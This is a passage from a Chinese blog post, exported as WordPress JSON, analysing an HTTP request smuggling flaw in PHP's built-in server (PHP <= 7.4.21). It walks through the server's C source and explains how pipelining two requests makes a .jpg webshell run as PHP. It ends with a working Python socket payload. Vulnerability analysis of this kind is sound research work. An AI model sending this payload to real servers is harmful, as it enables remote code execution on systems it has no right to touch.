data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-13-300x167.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-13-1024x570.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-13-1024x570.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-276\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"Ln8Q9\" class=\"wp-block-code\"><code>static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)\n{\n\tphp_cli_server_client *client = parser-&gt;data;\n     \/\/ \u8bbe\u7f6e\u534f\u8bae\u7248\u672c\n\tclient-&gt;request.protocol_version = parser-&gt;http_major * 100 + parser-&gt;http_minor;\n    \/\/ \u7ffb\u8bd1\u865a\u62df\u8def\u5f84\u4e3a\u6587\u4ef6\u7cfb\u7edf\u8def\u5f84\n\tphp_cli_server_request_translate_vpath(&amp;client-&gt;request, client-&gt;server-&gt;document_root, client-&gt;server-&gt;document_root_len);\n\t \/\/  \u63d0\u53d6\u6587\u4ef6\u6269\u5c55\u540d\n    {\n\t\tconst char *vpath = client-&gt;request.vpath, *end = vpath + client-&gt;request.vpath_len, *p = end;\n\t\tclient-&gt;request.ext = end;\n        \/\/ \u9ed8\u8ba4\u8bbe\u7f6e\uff1a\u65e0\u6269\u5c55\u540d\n\t\tclient-&gt;request.ext_len = 0;\n          \/\/ \u4ece\u540e\u5411\u524d\u67e5\u627e\u6700\u540e\u4e00\u4e2a'.'\n\t\twhile (p &gt; vpath) {\n\t\t\t--p;\n\t\t\tif (*p == '.') {\n\t\t\t\t++p;\n                \/\/ \u8bbe\u7f6eext\u6307\u9488\u6307\u5411vpath\u5185\u90e8\n                \/\/ \u95ee\u9898: ext\u662f\u4e00\u4e2a\u666e\u901a\u6307\u9488\uff0c\u76f4\u63a5\u6307\u5411vpath\u7684\u67d0\u4e2a\u4f4d\u7f6e\n                \/\/ \u5f53vpath\u88ab\u91ca\u653e\u6216\u91cd\u65b0\u5206\u914d\u65f6\uff0cext\u4f1a\u6210\u4e3a\u60ac\u7a7a\u6307\u9488\n\t\t\t\tclient-&gt;request.ext = p;\n\t\t\t\tclient-&gt;request.ext_len = end - p;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n    \/\/ \u6807\u8bb0\u8bf7\u6c42\u5df2\u8bfb\u53d6\n    \/\/ \u95ee\u9898: \u8fd9\u4e2a\u6807\u5fd7\u7684\u8bbe\u7f6e\"\u592a\u665a\"\u4e86\n    \/\/ \u89e3\u6790\u5668\u5728\u540c\u4e00\u6b21php_http_parser_execute\u8c03\u7528\u4e2d\uff0c\n    \/\/ \u8fd8\u4f1a\u7ee7\u7eed\u5904\u7406buffer\u4e2d\u7684\u5269\u4f59\u6570\u636e\uff08\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\uff09\n\tclient-&gt;request_read = 1;\n\treturn 0;\n}<\/code><\/pre>\n\n\n\n<p id=\"u9df151e5\">\u6267\u884c\u6d41\u7a0b<\/p>\n\n\n\n<pre id=\"TyG2V\" class=\"wp-block-code\"><code>\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u5b8c\u6210\u65f6:\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 vpath = \"s3Cr37_f1L3.php.bak\"    \u2502 (\u5730\u5740: 0x1000)\n\u2502                         \u2502        \u2502\n\u2502                         \u25bc        \u2502\n\u2502 ext \u6307\u5411 vpath&#91;18] = \"bak\"       \u2502 (\u5730\u5740: 0x1012)\n\u2502 ext_len = 3                      \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684on_path\u8c03\u7528\u540e:\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 \u65e7vpath\u88ab\u91ca\u653e: 0x1000             \u2502\n\u2502 \u65b0vpath\u5206\u914d: \"phantom.php\"        \u2502 (\u5730\u5740: \u53ef\u80fd\u662f0x1000\u6216\u5176\u4ed6)\n\u2502                                  \u2502\n\u2502 ext = 0x1012   \u60ac\u7a7a\u6307\u9488!          \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684on_message_complete\u8c03\u7528\u540e:\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 vpath = \"phantom.php\"            \u2502 (\u5730\u5740: 0x1000)\n\u2502                    \u2502             \u2502\n\u2502                    \u25bc             \u2502\n\u2502 ext \u6307\u5411 vpath&#91;8] = \"php\"        \u2502 (\u5730\u5740: 0x1008)\n\u2502 ext_len = 3                      \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n\n\n\n<p id=\"ud9c196d6\">\u5206\u53d1\u5224\u65ad<\/p>\n\n\n\n<p id=\"u5d7dcc0a\">\u6587\u4ef6: sapi\/cli\/php_cli_server.c\uff1aphp_cli_server_dispatch<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-14-1024x575.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-attachment-id=\"277\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=277\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-14.png\" data-orig-size=\"1916,1076\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-14-300x168.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-14-1024x575.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-14-1024x575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-277\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"V4Jp7\" class=\"wp-block-code\"><code>static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) \/* {{{ *\/\n{\n\tint is_static_file  = 0;\n\n\tSG(server_context) = client;\n    \/\/ \u901a\u8fc7ext\u548cpath_translated\u6765\u5224\u65ad\u6587\u4ef6\u7c7b\u578b\n\tif (client-&gt;request.ext_len != 3 || memcmp(client-&gt;request.ext, \"php\", 3) || !client-&gt;request.path_translated) {\n\t\t\/\/ \u6761\u4ef61: \u6269\u5c55\u540d\u957f\u5ea6| \u6761\u4ef62: \u6269\u5c55\u540d\u5185\u5bb9 | \u6761\u4ef63: \u8def\u5f84\u6709\u6548\u6027\n        is_static_file = 1;\n\t}\n\/\/ \u5982\u679c\u6709\u8def\u7531\u5668\u6216\u4e0d\u662f\u9759\u6001\u6587\u4ef6\uff0c\u521d\u59cb\u5316PHP\u8bf7\u6c42\n\tif (server-&gt;router || !is_static_file) {\n\t\tif (FAILURE == php_cli_server_request_startup(server, client)) {\n\t\t\tSG(server_context) = NULL;\n\t\t\tphp_cli_server_close_connection(server, client);\n\t\t\tdestroy_request_info(&amp;SG(request_info));\n\t\t\treturn SUCCESS;\n\t\t}\n\t}\n  \/\/ \u5982\u679c\u914d\u7f6e\u4e86\u8def\u7531\u5668\u811a\u672c\uff0c\u5148\u6267\u884c\n\tif (server-&gt;router) {\n\t\tif (!php_cli_server_dispatch_router(server, client)) {\n\t\t\tphp_cli_server_request_shutdown(server, client);\n\t\t\treturn SUCCESS;\n\t\t}\n\t}\n\/\/  \u6839\u636eis_static_file\u6807\u5fd7\u51b3\u5b9a\u5904\u7406\u65b9\u5f0f\n\tif (!is_static_file) {\n         \/\/  \u5f53\u4f5cPHP\u811a\u672c\u6267\u884c\n        \/\/ \u4f7f\u7528path_translated\u4f5c\u4e3a\u811a\u672c\u8def\u5f84\n\t\tif (SUCCESS == php_cli_server_dispatch_script(server, client)\n\t\t\t\t|| SUCCESS != php_cli_server_send_error_page(server, client, 500)) {\n\t\t\tif (SG(sapi_headers).http_response_code == 304) {\n\t\t\t\tSG(sapi_headers).send_default_content_type = 0;\n\t\t\t}\n\t\t\tphp_cli_server_request_shutdown(server, client);\n\t\t\treturn SUCCESS;\n\t\t}\n\t} else {\n         \/\/ \u5f53\u4f5c\u9759\u6001\u6587\u4ef6\u5904\u7406\n\t\tif (server-&gt;router) {\n\t\t\tstatic int (*send_header_func)(sapi_headers_struct *);\n\t\t\tsend_header_func = sapi_module.send_headers;\n\t\t\t\/* do not generate default content type header *\/\n\t\t    SG(sapi_headers).send_default_content_type = 0;\n\t\t\t\/* we don't want headers to be sent *\/\n\t\t\tsapi_module.send_headers = sapi_cli_server_discard_headers;\n\t\t\tphp_request_shutdown(0);\n\t\t\tsapi_module.send_headers = send_header_func;\n\t\t    SG(sapi_headers).send_default_content_type = 1;\n\t\t\tSG(rfc1867_uploaded_files) = NULL;\n\t\t}\n\t\tif (SUCCESS != php_cli_server_begin_send_static(server, client)) {\n\t\t\tphp_cli_server_close_connection(server, client);\n\t\t}\n\t\tSG(server_context) = NULL;\n\t\treturn SUCCESS;\n\t}\n\n\tSG(server_context) = NULL;\n\tdestroy_request_info(&amp;SG(request_info));\n\treturn SUCCESS;\n}<\/code><\/pre>\n\n\n\n<p id=\"ubbd7be00\">\u653b\u51fb\u8005\u53d1\u9001\u4e24\u4e2a\u8fde\u7eed\u8bf7\u6c42\uff08\u5982 GET \/shell.jpg \u7d27\u63a5 GET \/phantom.php\uff09<\/p>\n\n\n\n<p id=\"u2e54d86d\">\u5229\u7528 PHP Built-in Server \u5728 php_http_parser_execute() \u5355\u6b21\u8c03\u7528\u4e2d\u5904\u7406\u591a\u8bf7\u6c42\u65f6\u7684\u72b6\u6001\u5206\u88c2\u7f3a\u9677\uff1a\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u8ba9 translate_vpath() \u68c0\u6d4b\u5230 shell.jpg \u5b58\u5728\u540e\u8bbe\u7f6e path_translated = &#8220;\/path\/to\/shell.jpg&#8221;\uff1b\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u56e0 phantom.php \u4e0d\u5b58\u5728\u5bfc\u81f4 translate_vpath() \u63d0\u524d\u8fd4\u56de\u800c\u4e0d\u66f4\u65b0 path_translated\uff0c\u4f46 extract_extension() \u4ecd\u4ece\u65b0\u7684 vpath \u63d0\u53d6\u5e76\u66f4\u65b0 ext = &#8220;php&#8221;\uff1b<\/p>\n\n\n\n<p id=\"ub6da2b00\">\u6700\u7ec8 dispatch() \u5728\u68c0\u67e5 if (ext_len != 3 || memcmp(ext, &#8220;php&#8221;, 3) || !path_translated)\u65f6\u53d1\u73b0\u4e09\u4e2a\u6761\u4ef6\u5168\u90e8\u4e0d\u6ee1\u8db3\uff08ext_len=3 \u4e14 ext=&#8221;php&#8221; \u4e14 path_translated \u975e\u7a7a\uff09\uff0c\u5bfc\u81f4 is_static_file = 0\uff0c\u670d\u52a1\u5668\u8bef\u5224\u5c06 path_translated \u6307\u5411\u7684 .jpg \u9759\u6001\u6587\u4ef6\u5f53\u4f5cPHP\u811a\u672c\u6267\u884c\u2014\u2014\u5173\u952e\u5728\u4e8e\u7b2c\u4e00\u4e2a\u6587\u4ef6\uff08\u4efb\u610f\u4e09\u5b57\u7b26\u540e\u7f00\u7684\u540e\u95e8\u6587\u4ef6\uff0c\u5fc5\u987b\u5b58\u5728\uff09\u7684\u5904\u7406\u65b9\u5f0f\u7531\u7b2c\u4e8c\u4e2a\u6587\u4ef6\uff08.php \u7ed3\u5c3e\uff0c\u4e0d\u9700\u8981\u5b58\u5728\uff09\u7684\u6269\u5c55\u540d\u51b3\u5b9a\uff0c\u5f53\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684 ext\u88ab\u8bc6\u522b\u4e3a &#8220;php&#8221; \u65f6\uff0cis_static_file \u88ab\u8bbe\u4e3a 0\uff0c\u89e6\u53d1 php_cli_server_dispatch_script() \u5c06\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u7684\u9759\u6001\u6587\u4ef6\u4f5c\u4e3a PHP \u4ee3\u7801\u6267\u884c\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"wS6dc\">\u5f71\u54cd\u8303\u56f4<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"wPG2i\">\u7248\u672c<\/h4>\n\n\n\n<p id=\"u6a407cff\">PHP&lt;= 7 . 4 . 21<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"MJ76T\">\u5229\u7528\u6761\u4ef6<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u76ee\u6807\u4f7f\u7528 php -S \u542f\u52a8\u7684\u5185\u7f6e\u670d\u52a1\u5668<\/li>\n\n\n\n<li>web\u76ee\u5f55\u53ef\u4e0a\u4f20\uff0c\u6216\u8005\u5b58\u5728\u4efb\u610f\u4e09\u5b57\u7b26\u540e\u7f00\u7684webshell\u6587\u4ef6<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"pnDrE\">\u5229\u7528payload<\/h3>\n\n\n\n<p id=\"u616ec63d\">\u5728python\u7684\u7ec8\u7aef\u4e2d\u8f93\u5165<\/p>\n\n\n\n<pre id=\"J0km6\" class=\"wp-block-code\"><code>import socket\np=b\"GET \/test.jpg HTTP\/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\nPOST \/x.php HTTP\/1.1\\r\\nHost: 127.0.0.1\\r\\nContent-Length: 0\\r\\n\\r\\n\"\ns=socket.socket()\ns.connect((\"127.0.0.1\",8888))\ns.send(p)\nprint(s.recv(4096).decode())<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>PHP built-in server http\u8bf7\u6c42\u8d70\u79c1\u6f0f\u6d1e \u6f0f\u6d1e\u6f14\u793a \u5148\u7ed9\u5927\u5bb6\u6f14\u793a\u4e00\u4e0b\u8be5\u6f0f\u6d1e\u7684\u6548\u679c \u5f53\u524d\u76ee\u5f55 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":278,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[19],"tags":[9,6],"class_list":["post-262","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-19","tag-php","tag-6"],"jetpack_featured_media_url":"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/79807334_p1.jpg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/262","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=262"}],"version-history":[{"count":1,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/262\/revisions"}],"predecessor-version":[{"id":279,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/262\/revisions\/279"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/media\/278"}],"wp:attachment":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}